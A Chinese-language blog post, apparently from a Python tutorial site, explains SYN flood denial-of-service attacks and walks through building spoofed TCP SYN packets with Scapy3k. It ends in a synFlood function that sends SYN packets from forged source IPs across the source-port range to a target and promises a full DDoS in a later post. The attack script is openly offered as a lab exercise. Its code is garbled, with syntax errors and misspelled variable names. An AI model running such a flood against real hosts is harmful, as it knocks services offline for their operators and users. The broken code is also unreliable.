Python项目 基于Scapy实现SYN泛洪攻击的方法


Posted in Python onJuly 23, 2019

python3版本的Scapy--Scapy3k来实现一个简单的DDos。

首先实现SYN泛洪攻击(SYN Flood,是一直常用的DOS方式之一,通过发送大量伪造的TCP连接请求,使被攻击主机资源耗尽的攻击方式)。TCP三次握手的过程在这里就不再赘述,SYN攻击则是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文,由于服务器在处理TCP请求时,会在协议栈留一块缓冲区来存储握手的过程,如果超过一定的时间没有接收到客户端的报文,那么本次连接在协议栈中存储的数据就会被丢弃。攻击者如果利用这段时间发送了大量的连接请求,全部挂起在半连接状态,这样将不断消耗服务器资源,直到拒接服务。

Scapy是一个强大的交互式数据包处理程序,可以用来发送、嗅探、解析和伪造网络数据包。首先需要安装Scapy3k:

sudo pip3 install scapy-python3

Python项目 基于Scapy实现SYN泛洪攻击的方法

现在学习一下scapy的使用方法:

sudo scapy(scapy发送数据包需要root权限)

Python项目 基于Scapy实现SYN泛洪攻击的方法

(警告信息是因为有一些依赖包没有安装,但是我们本次实验不需要使用我就不装了)

现在我们使用Scapy构造一个简单的数据包看一下:

pkt = IP(dst = "192.168.0.10")

Python项目 基于Scapy实现SYN泛洪攻击的方法

接下来我们就构造一个SYN包:

pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")

Python项目 基于Scapy实现SYN泛洪攻击的方法

(我们构造了一个IP包和TCP包并将它们组合到一块,这样就有了一个完整的TCP数据包,否则是无法发送出去的,IP包中我)们指定了源IP地址src和目的IP地址dst,其中src是我们伪造的地址,flags的值设定为S说明要发送的是SYN数据包)

代码实现:

具体代码如下:

import random
import scapy.all import *
 
def synFlood(tgt,dPort):
  srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
  from sPort in range(1-24,65535):
    index = random.randrange(4)
    ipLayer = IP(stc = stcList[index].dst = tgt)
    tcoLayer = TCP(sport = sPort,dport = dPort,flags = "S")
    packet = ipLayer/tcpLayer
    send(packet)

定义了srcList用于存放伪造的IP地址,之后定义了一个循环,作用是每次发送数据包源端口都改变,可以看到在构造TCP数据包的时候我们增加了一个参数sport,循环中改变的端口号就是给了sport这个参数。我们还调用random.randrange()函数来随机从srcList中获取一个伪造的IP地址。本次实验就算完成,下次实验实现一个完整的Ddos过程。

以上这篇Python项目 基于Scapy实现SYN泛洪攻击的方法就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python实现脚本锁功能(同时只能执行一个脚本)
May 10 Python
解决python文件字符串转列表时遇到空行的问题
Jul 09 Python
Django中的cookie和session
Aug 27 Python
深入了解如何基于Python读写Kafka
Dec 31 Python
Python3 全自动更新已安装的模块实现
Jan 06 Python
利用python控制Autocad:pyautocad方式
Jun 01 Python
用于ETL的Python数据转换工具详解
Jul 21 Python
Python3 ffmpeg视频转换工具使用方法解析
Aug 10 Python
Python做图像处理及视频音频文件分离和合成功能
Nov 24 Python
Python 里最强的地图绘制神器
Mar 01 Python
pytorch finetuning 自己的图片进行训练操作
Jun 05 Python
2021年最新用于图像处理的Python库总结
Jun 15 Python
Django logging配置及使用详解
Jul 23 #Python
Python利用scapy实现ARP欺骗的方法
Jul 23 #Python
OpenCV3.0+Python3.6实现特定颜色的物体追踪
Jul 23 #Python
提升Python效率之使用循环机制代替递归函数
Jul 23 #Python
深入了解Django View(视图系统)
Jul 23 #Python
Python Opencv任意形状目标检测并绘制框图
Jul 23 #Python
flask框架单元测试原理与用法实例分析
Jul 23 #Python
You might like
在Windows版的PHP中使用ADO
2006/10/09 PHP
php根据数据id自动生成编号的实现方法
2016/10/16 PHP
Laravel自动生成UUID,从建表到使用详解
2019/10/24 PHP
javascript 写类方式之十
2009/07/05 Javascript
JavaScript 学习笔记(十五)
2010/01/28 Javascript
JS俄罗斯方块,包含完整的设计理念
2010/12/11 Javascript
CodeMirror2 IE7/IE8 下面未知运行时错误的解决方法
2012/03/29 Javascript
深入分析JSON编码格式提交表单数据
2015/06/25 Javascript
javascript模拟C#格式化字符串
2015/08/26 Javascript
Bootstrap每天必学之按钮
2015/11/26 Javascript
javascript实现C语言经典程序题
2015/11/29 Javascript
浅谈JavaScript中数组的增删改查
2016/06/20 Javascript
jQuery禁用快捷键例如禁用F5刷新 禁用右键菜单等的简单实现
2016/08/31 Javascript
AngularJS 所有版本下载地址
2016/09/14 Javascript
vuejs在解析时出现闪烁的原因及防止闪烁的方法
2016/09/19 Javascript
JS实现颜色梯度与渐变效果完整实例
2016/12/30 Javascript
canvas绘制七巧板
2017/02/03 Javascript
浅谈react-router HashRouter和BrowserRouter的使用
2017/12/29 Javascript
postman自定义函数实现 时间函数的思路详解
2019/04/17 Javascript
微信小程序上传文件到阿里OSS教程
2019/05/20 Javascript
Element ui 下拉多选时新增一个选择所有的选项
2019/08/21 Javascript
angular组件间传值测试的方法详解
2020/05/07 Javascript
js简单粗暴的发布订阅示例代码
2021/01/23 Javascript
Python实现网站注册验证码生成类
2017/06/08 Python
Python实现注册登录系统
2017/08/08 Python
python将txt等文件中的数据读为numpy数组的方法
2018/12/22 Python
python装饰器使用实例详解
2019/12/14 Python
Selenium webdriver添加cookie实现过程详解
2020/08/12 Python
Django contrib auth authenticate函数源码解析
2020/11/12 Python
CSS3制作文字半透明倒影效果的两种实现方式
2014/08/08 HTML / CSS
全球领先的美容用品专卖店:Beauty Plus Salon
2018/09/04 全球购物
100%植物性、有机、即食餐:Sakara Life
2018/10/25 全球购物
竞选班长演讲稿
2013/12/30 职场文书
环保建议书400字
2014/05/14 职场文书
销售岗位职责范本
2014/06/12 职场文书
Java基础之详解HashSet的使用方法
2021/06/30 Java/Android